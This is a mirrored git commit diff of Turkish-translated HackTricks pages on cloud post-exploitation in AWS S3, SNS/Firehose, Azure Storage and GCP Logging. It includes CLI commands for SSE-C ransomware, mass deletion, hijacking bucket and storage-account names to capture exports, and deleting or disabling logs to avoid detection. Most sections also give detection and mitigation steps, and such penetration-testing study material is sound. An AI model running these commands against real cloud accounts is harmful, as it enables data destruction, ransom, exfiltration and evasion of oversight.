mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
+60
-32
@@ -4,47 +4,47 @@
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
Daha fazla bilgi için bakın:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hassas Bilgiler
|
||||
### Sensitive Information
|
||||
|
||||
Bazen bucket'larda okunabilir durumda hassas bilgiler bulabilirsiniz. Örneğin, terraform state secrets.
|
||||
Bazen bucket'larda okunabilir halde sensitive information bulabilirsiniz. Örneğin, terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
|
||||
Farklı platformlar sensitive asset'leri saklamak için S3 kullanıyor olabilir.\
|
||||
Örneğin, **airflow** **DAGs** **code**'unu orada saklıyor olabilir ya da **web pages** doğrudan S3 üzerinden servis edilebilir. Write permissions olan bir attacker bucket'taki **code**'u **modify** ederek diğer platformlara **pivot** yapabilir veya JS files değiştirerek hesapları **takeover** edebilir.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
Bu senaryoda, **attacker creates a KMS (Key Management Service) key in their own AWS account** veya başka bir ele geçirilmiş hesapta bir anahtar oluşturur. Daha sonra bu **key accessible to anyone in the world** olacak şekilde ayarlarlar; bu, herhangi bir AWS kullanıcı, role veya hesabın bu anahtarı kullanarak objeleri şifrelemesine izin verir. Ancak, objeler decrypt edilemez hale gelir.
|
||||
Bu senaryoda, **attacker kendi AWS account'unda** veya başka bir compromised account'ta bir KMS (Key Management Service) key oluşturur. Ardından bu **key'i dünyadaki herkese accessible** hale getirir; böylece herhangi bir AWS user, role veya account bu key'i kullanarak objects encrypt edebilir. Ancak objects decrypt edilemez.
|
||||
|
||||
Attacker hedef **S3 bucket and gains write-level access** sağlar; bu çeşitli yöntemlerle gerçekleşir. Bu, bucket'ın kötü yapılandırılması ve herkese açık olmasından veya attacker'ın AWS ortamına erişim kazanmasından kaynaklanabilir. Attacker tipik olarak PII, PHI, loglar, yedekler ve benzeri hassas bilgileri içeren bucket'ları hedef alır.
|
||||
Attacker bir hedef **S3 bucket** belirler ve çeşitli yöntemlerle buna write-level access elde eder. Bu, bucket'ın kötü yapılandırılmış olup herkese açık olmasından ya da attacker'ın doğrudan AWS environment'a erişim kazanmasından kaynaklanabilir. Attacker genellikle personally identifiable information (PII), protected health information (PHI), logs, backups ve daha fazlasını içeren bucket'ları hedef alır.
|
||||
|
||||
Bucket'ın ransomware hedefi olup olmadığını belirlemek için attacker yapılandırmasını kontrol eder. Bu, **S3 Object Versioning**'in etkin olup olmadığını ve **multi-factor authentication delete (MFA delete) is enabled** olup olmadığını doğrulamayı içerir. Eğer Object Versioning etkin değilse attacker devam edebilir. Eğer Object Versioning etkin ama MFA delete devre dışıysa, attacker **disable Object Versioning** yapabilir. Hem Object Versioning hem de MFA delete etkinse, attacker için o bucket'ı ransomware yapmak daha zorlaşır.
|
||||
Bucket'ın ransomware için hedeflenip hedeflenemeyeceğini anlamak için attacker configuration'ını kontrol eder. Buna **S3 Object Versioning**'in enabled olup olmadığını ve **multi-factor authentication delete (MFA delete)**'in enabled olup olmadığını doğrulamak dahildir. Eğer Object Versioning enabled değilse, attacker devam edebilir. Eğer Object Versioning enabled ama MFA delete disabled ise, attacker **Object Versioning**'i **disable** edebilir. Eğer hem Object Versioning hem de MFA delete enabled ise, attacker'ın o specific bucket'a ransomware uygulaması daha zor hale gelir.
|
||||
|
||||
AWS API'sini kullanarak attacker, bucket'taki her objeyi kendi KMS anahtarını kullanarak şifrelenmiş bir kopya ile **replaces each object in the bucket with an encrypted copy using their KMS key**. Bu, bucket'taki veriyi anahtar olmadan erişilemez hale getirir.
|
||||
AWS API kullanarak attacker, bucket'taki her object'i **kendi KMS key'iyle encrypted copy ile replace eder**. Bu, bucket'taki data'yı etkili şekilde encrypt eder ve key olmadan erişilemez hale getirir.
|
||||
|
||||
Daha fazla baskı yapmak için attacker, saldırıda kullandığı KMS anahtarının silinmesini planlayabilir. Bu, hedefe anahtar silinmeden ve veriler kalıcı olarak kaybolmadan önce verilerini kurtarması için 7 günlük bir pencere verir.
|
||||
Ek baskı oluşturmak için attacker, saldırıda kullanılan KMS key'in deletion'ını schedule eder. Bu, target'a key deleted olmadan ve data permanently lost hale gelmeden önce verilerini kurtarmak için 7 günlük bir süre verir.
|
||||
|
||||
Son olarak, attacker genellikle "ransom-note.txt" adlı bir dosya yükleyebilir; bu dosya hedefe dosyalarını nasıl geri alacaklarına dair talimatlar içerir. Bu dosya şifrelenmeden yüklenir; muhtemelen hedefin dikkatini çekmek ve ransomware saldırısından haberdar etmek amaçlıdır.
|
||||
Son olarak attacker, genellikle "ransom-note.txt" adlı bir final file upload edebilir; bu file target'a dosyalarını nasıl geri alacağına dair instructions içerir. Bu file encryption olmadan upload edilir; muhtemelen target'ın dikkatini çekmek ve ransomware attack'ı fark etmesini sağlamak için.
|
||||
|
||||
#### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)
|
||||
|
||||
Başka bir varyant, **SSE-C**'yi (S3 server-side encryption with **customer-provided keys**) kötüye kullanmaktır. SSE-C ile, **client provides the encryption key on every request** ve **AWS does not store the key**. Bu, attacker kendi SSE-C anahtarını kullanarak objeleri yeniden yazarsa, kurbanın verilerinin o attacker-controlled key sağlanmadıkça okunamaz hale geleceği anlamına gelir.
|
||||
Başka bir variant, **SSE-C**'yi (**customer-provided keys** ile S3 server-side encryption) abuse etmektir. SSE-C ile **client her request'te encryption key sağlar** ve **AWS key'i store etmez**. Bu, eğer attacker objects'i **kendi SSE-C key'i** ile yeniden yazar ise, victim bu attacker-controlled key'i sağlayamadıkça data'sı unreadable hale gelir.
|
||||
|
||||
- **Preconditions:** Compromised AWS credentials (or any principal with the right permissions) ve **rewrite objects** yapabilme kabiliyeti (ör. `s3:PutObject` hedef anahtarlar/prefix'ler üzerinde). Bu genellikle yıkıcı lifecycle policy'leri ayarlama yeteneği ile birlikte olur (aşağıya bakın), ör. `s3:PutLifecycleConfiguration`.
|
||||
- **Preconditions:** Compromised AWS credentials (veya gerekli permissions'a sahip herhangi bir principal) ve objects'i **rewrite** edebilme yeteneği (ör. hedef keys/prefix'ler üzerinde `s3:PutObject`). Bu çoğu zaman destructive lifecycle policies ayarlama yeteneğiyle birlikte olur (aşağıya bakın), ör. `s3:PutLifecycleConfiguration`.
|
||||
- **Attack chain:**
|
||||
1. Attacker rastgele bir 256-bit anahtar (AES-256) üretir ve saklar.
|
||||
2. Attacker SSE-C header'ları kullanarak mevcut objeleri (aynı object key'ler) **rewrites** eder; böylece depolanan obje artık attacker anahtarı ile şifrelenmiş olur.
|
||||
3. Kurban, SSE-C anahtarını sağlamadan indirme/şifre çözme yapamaz (IAM izinleri uygun olsa bile).
|
||||
4. Attacker anahtarı silebilir (veya hiç vermeyebilir) ve böylece veriyi kurtarılamaz hale getirebilir.
|
||||
1. Attacker rastgele 256-bit key (AES-256) üretir ve bunu saklar.
|
||||
2. Attacker mevcut objects'i (aynı object keys) SSE-C headers kullanarak **rewrite** eder; böylece stored object artık attacker key'i ile encrypted olur.
|
||||
3. Victim, SSE-C key'i sağlamadan download/decrypt edemez (IAM permissions uygun olsa bile).
|
||||
4. Attacker key'i silebilir (veya basitçe hiç paylaşmayabilir), böylece data unrecoverable olur.
|
||||
|
||||
Example (conceptual) CLI usage:
|
||||
Örnek (conceptual) CLI kullanımı:
|
||||
```bash
|
||||
# Upload/overwrite an object encrypted with attacker-provided SSE-C key
|
||||
aws s3 cp ./file s3://<BUCKET>/<KEY> \
|
||||
@@ -56,25 +56,25 @@ aws s3 cp s3://<BUCKET>/<KEY> ./file \
|
||||
--sse-c AES256 \
|
||||
--sse-c-key <BASE64_32_BYTES>
|
||||
```
|
||||
##### Baskı Artırma: Yaşam Döngüsü "Zamanlayıcı" Suistimali
|
||||
##### Adding Pressure: Lifecycle "Timer" Abuse
|
||||
|
||||
Kurtarma seçeneklerini (eski sürümler gibi) kaldırmak için saldırganlar SSE-C yeniden yazmaları ile **yaşam döngüsü kuralları**nı eşleştirerek objeleri kısa sürede sona erdirebilir ve/veya noncurrent sürümleri silebilir:
|
||||
Eski sürümler gibi recovery seçeneklerini kaldırmak için attackers, SSE-C rewrites ile kısa süre sonra nesneleri sonlandıran ve/veya noncurrent versions’ları silen **lifecycle rules**’u birlikte kullanabilir:
|
||||
|
||||
- `s3:PutLifecycleConfiguration` bucket üzerinde bir saldırganın her obje/sürüm için açık silme işlemi yapmasına gerek kalmadan silme işlemlerini zamanlamasına izin verir.
|
||||
- Bu, **sürümleme etkinse** özellikle etkili olur; çünkü aksi takdirde kurtarmaya izin verecek "önceki iyi sürüm"ü kaldırabilir.
|
||||
- Bucket üzerindeki `s3:PutLifecycleConfiguration`, bir attacker’ın her object/version için açık delete işlemi yapmadan silmeleri planlamasına izin verir.
|
||||
- Bu, özellikle **versioning etkin** olduğunda etkilidir; çünkü aksi halde recovery sağlayabilecek “önceki iyi sürüm”ü kaldırabilir.
|
||||
|
||||
##### Tespit ve Önlemler
|
||||
##### Detection & Mitigations
|
||||
|
||||
- SSE-C'ye izin vermek için güçlü bir operasyonel gerekçeniz yoksa **SSE-KMS** (veya SSE-S3) tercih edin.
|
||||
- SSE-C header'ları kullanan `PutObject` isteklerini izleyin/uyarı oluşturun (S3 için CloudTrail veri olayları).
|
||||
- Beklenmeyen `PutBucketLifecycleConfiguration` (yaşam döngüsü değişiklikleri) için izleyin/uyarı oluşturun.
|
||||
- Üzerine yazma etkinliğinde (aynı anahtarların hızla güncellenmesi) ani artışlar ve delete-marker/sürüm silinmeleri için izleyin/uyarı oluşturun.
|
||||
- Yüksek riskli izinleri kısıtlayın: `s3:PutObject` izinlerini gerekli prefix'lerle sınırlayın; `s3:PutLifecycleConfiguration` ve `s3:PutBucketVersioning`'i güçlü şekilde kısıtlayın; hassas yönetici işlemleri için (uygulanabiliyorsa) MFA gerektirmeyi düşünün ve onaylarla ayrı yönetici rolleri kullanın.
|
||||
- Kurtarma hazırlığı: **sürümleme**, **yedekler** ve değiştirilemez/offline kopyalar kullanın (S3 replication to protected account, backup vaults, vb.); noncurrent sürümleri agresif silinmeden koruyun ve yaşam döngüsü değişikliklerini SCPs / guardrails ile güvenceye alın.
|
||||
- SSE-C’ye izin vermek için güçlü bir operasyonel nedeniniz yoksa **SSE-KMS** (veya SSE-S3) kullanmayı tercih edin.
|
||||
- SSE-C headers kullanan `PutObject` isteklerini izleyin/uyarı verin (S3 için CloudTrail data events).
|
||||
- Beklenmeyen `PutBucketLifecycleConfiguration` (lifecycle değişiklikleri) olaylarını izleyin/uyarı verin.
|
||||
- Aynı keys’in hızla güncellenmesi gibi overwrite activity’de ani artışları ve delete-marker/version deletions olaylarını izleyin/uyarı verin.
|
||||
- Yüksek riskli izinleri kısıtlayın: `s3:PutObject` izinlerini gerekli prefixes ile sınırlayın; `s3:PutLifecycleConfiguration` ve `s3:PutBucketVersioning` izinlerini güçlü şekilde kısıtlayın; hassas admin işlemleri için uygun olduğunda MFA gerektirmeyi düşünün ve onay mekanizmaları olan ayrı admin roles kullanın.
|
||||
- Recovery posture: **versioning**, **backups** ve immutable/offline kopyalar kullanın (korumalı account’a S3 replication, backup vaults vb.); noncurrent versions’ları agresif silinmeye karşı koruyun ve lifecycle değişikliklerini SCPs / guardrails ile koruyun.
|
||||
|
||||
### `s3:RestoreObject`
|
||||
|
||||
` s3:RestoreObject` iznine sahip bir saldırgan Glacier veya Deep Archive'de arşivlenmiş objeleri yeniden etkinleştirerek geçici olarak erişilebilir hale getirebilir. Bu, normalde ulaşılamayan tarihsel olarak arşivlenmiş verilerin (backups, snapshots, logs, certifications, old secrets) kurtarılmasına ve exfiltration'a olanak tanır. Saldırgan bu izni okuma izinleriyle (ör. `s3:GetObject`) birleştirirse, hassas verilerin tam kopyalarını elde edebilir.
|
||||
`s3:RestoreObject` iznine sahip bir attacker, Glacier veya Deep Archive içinde arşivlenmiş objects’i yeniden etkinleştirebilir ve bunları geçici olarak erişilebilir hale getirebilir. Bu, normalde erişilemeyecek tarihsel olarak arşivlenmiş verilerin (backups, snapshots, logs, certifications, eski secrets) recovery ve exfiltration işlemlerine olanak tanır. Attacker bu izni read permissions (ör. `s3:GetObject`) ile birleştirirse, hassas verilerin tam kopyalarını elde edebilir.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
@@ -86,7 +86,7 @@ aws s3api restore-object \
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
Bir saldırgan s3:Delete* iznine sahip olduğunda nesneleri, sürümleri ve tüm buckets'ları silebilir, yedekleri bozabilir ve anında ve geri döndürülemez veri kaybına, delillerin yok olmasına ve yedekleme veya kurtarma öğelerinin tehlikeye girmesine neden olabilir.
|
||||
s3:Delete* iznine sahip bir attacker, nesneleri, sürümleri ve tüm bucket'ları silebilir, backups'ı bozabilir ve anında geri alınamaz data loss, evidence destruction ve backup veya recovery artifacts compromise'a neden olabilir.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
@@ -103,6 +103,34 @@ aws s3api delete-object \
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Daha fazla bilgi için** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
### Otonom yazarların global bucket adı takeover’ı - `s3:DeleteBucket`
|
||||
|
||||
S3 bucket adları global olarak benzersizdir. Bir victim account, `arn:aws:s3:::<bucket-name>` adresine veri teslim etmeye devam eden automated writers’a sahipse ve bir attacker bu bucket’ı empty/delete edebilirse, attacker aynı bucket adını attacker-controlled bir account içinde yeniden oluşturabilir ve upstream service configuration değiştirmeden future deliveries alabilir.
|
||||
|
||||
İncelenmesi gereken iyi targets arasında S3 replication destinations, Kinesis Data Firehose delivery streams, CloudWatch Logs/SNS/WAF delivery chains that land in S3 ve custom backup veya export jobs bulunur.
|
||||
```bash
|
||||
# Review S3 replication destinations on source buckets
|
||||
aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
|
||||
|
||||
# Review Firehose S3 destinations
|
||||
aws firehose describe-delivery-stream \
|
||||
--delivery-stream-name <DELIVERY_STREAM_NAME>
|
||||
|
||||
# Empty and delete the target bucket, if permitted
|
||||
aws s3 rm s3://<BUCKET_NAME> --recursive
|
||||
aws s3api delete-bucket --bucket <BUCKET_NAME>
|
||||
|
||||
# Recreate the same globally-unique name in the attacker account
|
||||
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
|
||||
```
|
||||
Değiştirilen bucket policy, upstream writer’ın nesneler koymasına izin vermelidir. Tam principal, service’e bağlıdır: örneğin bir IAM replication role, bir Firehose delivery role veya `aws:SourceArn` / `aws:SourceAccount` ile kısıtlanmış bir service principal.
|
||||
|
||||
**Potential Impact:** gelecekte replicate edilen objects, logs, telemetry, backups ve pipeline artifacts’ların attacker-controlled bir AWS account’a sessizce exfiltration edilmesi.
|
||||
|
||||
**Detection & Mitigation:** replication rules veya delivery streams tarafından referans edilen buckets’ın deletion’ı için alert verin, bucket recreation ile takip edilen `NoSuchBucket` delivery failures’ı monitor edin, export destinations üzerinde `s3:DeleteBucket` kısıtlayın ve cross-account deliveries’i sıkı bucket policies ve ownership expectations ile pinleyin.
|
||||
|
||||
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+20
-6
@@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Firehose subscription protocol'ünü kötüye kullanarak hedef bir SNS standard topic üzerine saldırgan tarafından kontrol edilen bir Kinesis Data Firehose delivery stream kaydedin. Abonelik kurulduktan ve gerekli IAM rolü `sns.amazonaws.com`'a güven verdikten sonra, gelecekteki her bildirim minimum gürültüyle kalıcı olarak saldırganın S3 bucket'ına yazılır.
|
||||
Firehose subscription protocol’ünü kötüye kullanarak, bir attacker-controlled Kinesis Data Firehose delivery stream’i victim SNS standard topic üzerinde register et. Subscription yerleştirildikten ve gerekli IAM role `sns.amazonaws.com`’a trust verdikten sonra, her future notification attacker’ın S3 bucket’ına minimal noise ile durably yazılır.
|
||||
|
||||
## Requirements
|
||||
- Saldırgan hesabında bir S3 bucket, Firehose delivery stream ve Firehose tarafından kullanılan IAM rolünü oluşturmak için izinler (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, vb.).
|
||||
- Hedef topic'e `sns:Subscribe` yapabilme yeteneği (ve abonelik rol ARN'si oluşturulduktan sonra sağlanıyorsa isteğe bağlı olarak `sns:SetSubscriptionAttributes`).
|
||||
- Saldırgan principal'in subscribe yapmasına izin veren bir topic policy (veya saldırgan zaten aynı hesap içinde çalışıyor olabilir).
|
||||
- Attacker account içinde bir S3 bucket, Firehose delivery stream ve Firehose tarafından kullanılan IAM role oluşturma yetkileri (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, vb.).
|
||||
- Victim topic’e `sns:Subscribe` yapabilme yeteneği (ve opsiyonel olarak subscription role ARN creation sonrası sağlanıyorsa `sns:SetSubscriptionAttributes`).
|
||||
- Attacker principal’ın subscribe etmesine izin veren bir topic policy (veya attacker zaten aynı account içinde çalışıyordur).
|
||||
|
||||
## Attack Steps (same-account example)
|
||||
```bash
|
||||
@@ -68,9 +68,23 @@ sleep 90
|
||||
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
|
||||
```
|
||||
## Cleanup
|
||||
- SNS aboneliğini, Firehose delivery stream'ini, geçici IAM rolleri/politikalarını ve saldırgan S3 bucket'ını silin.
|
||||
- SNS subscription, Firehose delivery stream, geçici IAM roles/policies ve saldırgan S3 bucket'ını silin.
|
||||
|
||||
## Impact
|
||||
**Potansiyel Etki**: Hedeflenen SNS konusuna yayınlanan her mesajın, minimum işletimsel ayak iziyle, saldırgan tarafından kontrol edilen depolamaya sürekli ve kalıcı exfiltration'ı.
|
||||
**Potential Impact**: Hedeflenen SNS topic'ine yayınlanan her mesajın attacker-controlled depolamaya, minimum operational footprint ile, sürekli ve kalıcı exfiltration'ı.
|
||||
|
||||
## Related Bucket-Name Hijack Variant
|
||||
|
||||
Eğer mevcut bir SNS -> Firehose -> S3 chain zaten bir bucket'a yazıyorsa ve attacker o bucket'ı silebiliyorsa, aynı globally-unique S3 bucket adını attacker-controlled bir account içinde yeniden oluşturabilmeleri mümkün olabilir. Sonraki Firehose deliveries, SNS subscription veya Firehose stream configuration değiştirilmeden replacement bucket'a düşebilir.
|
||||
```bash
|
||||
# Identify the Firehose S3 destination
|
||||
aws firehose describe-delivery-stream \
|
||||
--delivery-stream-name <DELIVERY_STREAM_NAME> \
|
||||
--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
|
||||
|
||||
# After deleting the original bucket, recreate the same name in the attacker account
|
||||
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
|
||||
```
|
||||
Firehose delivery rolüne, rol cross-account yazabiliyorsa replacement bucket erişimi verin. Firehose destinations üzerindeki bucket silinmesini, delivery failures ve beklenmeyen bucket ownership değişikliklerini izleyin.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+33
-4
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
Storage hakkında daha fazla bilgi için kontrol edin:
|
||||
Storage hakkında daha fazla bilgi için şunlara bakın:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
@@ -12,7 +12,7 @@ Storage hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
|
||||
|
||||
Bu izne sahip bir kullanıcı, bir konteyner içindeki **blob'ları** (dosyaları) **listeleyebilir** ve **duyarlı bilgileri** içerebilecek dosyaları **indirebilir**.
|
||||
Bu izne sahip bir principal, bir container içindeki blobları (files) **list** edebilir ve **download** edebilir; bu dosyalar **sensitive information** içerebilir.
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
az storage blob list \
|
||||
@@ -26,7 +26,7 @@ az storage blob download \
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
|
||||
|
||||
Bu izne sahip bir kullanıcı, **kapsayıcılardaki dosyaları yazma ve üzerine yazma** yeteneğine sahip olacak, bu da ona bazı zararlar verme veya hatta ayrıcalıkları artırma imkanı tanıyabilir (örneğin, bir blob'da saklanan bazı kodları üzerine yazmak):
|
||||
Bu izne sahip bir principal, **containers içindeki dosyaları yazabilir ve üzerine yazabilir**; bu da ona bazı zararlar verme veya hatta ayrıcalıkları yükseltme imkânı tanıyabilir (örn. bir blob içinde saklanan bazı kodların üzerine yazmak):
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
az storage blob upload \
|
||||
@@ -36,6 +36,35 @@ az storage blob upload \
|
||||
```
|
||||
### \*/delete
|
||||
|
||||
Bu, depolama hesabındaki nesneleri silmeye izin verecektir, bu da **bazı hizmetleri kesintiye uğratabilir** veya müşterinin **değerli bilgileri kaybetmesine** neden olabilir.
|
||||
Bu, storage account içindeki nesneleri silmeye izin verir; bu da **bazı hizmetleri kesintiye uğratabilir** veya client’ın **değerli bilgileri kaybetmesine** neden olabilir.
|
||||
|
||||
### Diagnostic export’ların storage account name takeover’u
|
||||
|
||||
Azure Storage account adları global olarak benzersizdir. Azure Monitor diagnostic settings gibi bazı autonomous export’lar, log veya metric’leri yapılandırılmış bir storage account’a yazmaya devam eder. Bir attacker bu storage account’u silebilir ve aynı adı, aynı tenant içinde attacker-controlled bir subscription’da yeniden oluşturabilirse, future exported telemetry diagnostic setting değiştirilmeden replacement account’a teslim edilebilir.
|
||||
|
||||
Bu durum, attacker `Microsoft.Storage/storageAccounts/delete` gibi destructive permissions’a sahip olduğunda, ancak monitored resource’u veya onun diagnostic settings’ini güncelleyemediğinde özellikle ilginçtir.
|
||||
|
||||
Bunun için storage account adının yeniden kullanım için serbest bırakılması gerekir. Pratikte, Azure storage account soft delete / recovery protections immediate reuse’u geciktirebilir veya engelleyebilir; özellikle tenant’lar arasında.
|
||||
```bash
|
||||
# Find diagnostic settings that write to a storage account
|
||||
az monitor diagnostic-settings list \
|
||||
--resource <RESOURCE_ID> \
|
||||
--query '[].{name:name,storageAccountId:storageAccountId}'
|
||||
|
||||
# Delete the storage account, if permitted
|
||||
az storage account delete \
|
||||
--name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
|
||||
# Recreate the same globally-unique storage account name
|
||||
az storage account create \
|
||||
--name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <ATTACKER_RESOURCE_GROUP> \
|
||||
--location <LOCATION> \
|
||||
--sku Standard_LRS
|
||||
```
|
||||
**Olası Etki:** gelecekteki log’ların, metrics, audit verilerinin ve diagnostic arşivlerin saldırgan tarafından kontrol edilen bir subscription’a uzun süreli exfiltration’ı.
|
||||
|
||||
**Detection & Mitigation:** diagnostic settings tarafından referans verilen storage account’ların silinmesi için alert oluşturun, `storageAccountId` içeren diagnostic settings’i inventory edin, dangling destination’ları izleyin ve logging/archive storage account’ları üzerindeki destructive permissions’ı sıkı şekilde kısıtlayın.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+44
-16
@@ -2,33 +2,33 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Basic Information
|
||||
|
||||
Daha fazla bilgi için bakın:
|
||||
Daha fazla bilgi için şuna bakın:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
İzlemeyi bozmanın diğer yolları için bakın:
|
||||
Monitoring'i bozmanın diğer yolları için şuna bakın:
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Varsayılan Logging
|
||||
### Default Logging
|
||||
|
||||
**Varsayılan olarak sadece okuma işlemleri gerçekleştirmeniz nedeniyle yakalanmazsınız. Daha fazla bilgi için Logging Enum bölümüne bakın.**
|
||||
**Varsayılan olarak, yalnızca read işlemleri yapmanız sizi yakalatmaz. Daha fazla bilgi için Logging Enum bölümüne bakın.**
|
||||
|
||||
### Add Excepted Principal
|
||||
|
||||
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is possible to add principals to not generate logs. An attacker could abuse this to prevent being caught.
|
||||
[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) ve [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) içinde log üretmemesi için principals eklemek mümkündür. Bir saldırgan bunu yakalanmayı önlemek için kötüye kullanabilir.
|
||||
|
||||
### Read logs - `logging.logEntries.list`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Günlük girişlerini oku</summary>
|
||||
<summary>Read log entries</summary>
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
@@ -44,18 +44,18 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Log girişlerini sil</summary>
|
||||
<summary>Log girdilerini sil</summary>
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Günlük yazma - `logging.logEntries.create`
|
||||
### Logları yaz - `logging.logEntries.create`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Günlük girişi yaz</summary>
|
||||
<summary>Log girdisi yaz</summary>
|
||||
```bash
|
||||
# Write a log entry to try to disrupt some system
|
||||
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
||||
@@ -78,7 +78,7 @@ gcloud logging buckets update bucketlog --location=<location> --description="New
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Log bucket'ı sil</summary>
|
||||
<summary>Log bucket sil</summary>
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
@@ -89,7 +89,7 @@ gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Log linkini sil</summary>
|
||||
<summary>Log bağlantısını sil</summary>
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
@@ -100,7 +100,7 @@ gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Logging görünümünü sil</summary>
|
||||
<summary>Logging view’u sil</summary>
|
||||
```bash
|
||||
# Delete a logging view to remove access to anyone using it
|
||||
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
@@ -111,7 +111,7 @@ gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verileri gizlemek için logging view'ı güncelle</summary>
|
||||
<summary>Veri gizlemek için logging view'u güncelle</summary>
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
@@ -144,7 +144,7 @@ gcloud logging metrics delete <metric-name>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Log sink'i sil</summary>
|
||||
<summary>Log sink’i sil</summary>
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
@@ -155,7 +155,7 @@ gcloud logging sinks delete <sink-name>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Log sink'ini güncelle/engelle</summary>
|
||||
<summary>Log sink’i güncelle/boz</summary>
|
||||
```bash
|
||||
# Disable sink - logging.sinks.update
|
||||
gcloud logging sinks update <sink-name> --disabled
|
||||
@@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
</details>
|
||||
|
||||
### Cloud Logging sink bucket-name hijack - `storage.buckets.delete`
|
||||
|
||||
Cloud Logging sink'ler, logları sürekli olarak `storage.googleapis.com/<bucket-name>` veya `storage.googleapis.com/<bucket-name>/<prefix>` gibi bir Cloud Storage hedefe export edebilir. Bir saldırgan hedef bucket'ı silebiliyorsa ancak sink'i update edemiyorsa, yine de aynı globally-unique bucket adını saldırganın kontrolündeki bir project içinde yeniden oluşturarak gelecekte export edilen logları yönlendirebilir.
|
||||
|
||||
